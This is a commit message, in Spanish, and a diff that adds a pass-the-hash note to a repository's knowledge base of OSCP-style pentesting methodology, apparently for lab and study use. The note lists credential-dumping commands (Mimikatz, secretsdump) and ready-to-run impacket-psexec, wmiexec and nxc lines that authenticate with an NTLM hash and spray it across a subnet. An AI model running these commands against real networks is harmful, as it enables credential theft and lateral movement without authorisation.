saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/Pass-the-Hash.md

@@ -0,0 +1,22 @@
+# Pass-the-Hash
+
+> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
+
+## De dónde sale el hash
+- Mimikatz `sekurlsa::logonpasswords`
+- secretsdump (SAM/NTDS)
+- `lsadump::sam`
+
+## Uso
+```bash
+impacket-psexec  -hashes :NTLMHASH 'admin@10.10.10.20'   # → SYSTEM
+impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
+nxc smb 10.10.10.0/24 -u admin -H NTLMHASH               # spray del hash por la red
+```
+
+## Combos
+- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
+- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
+- Hash de krbtgt → ya no es PtH, es Golden Ticket.
+
+Relacionado: Impacket · Movimiento lateral · OSCP MOC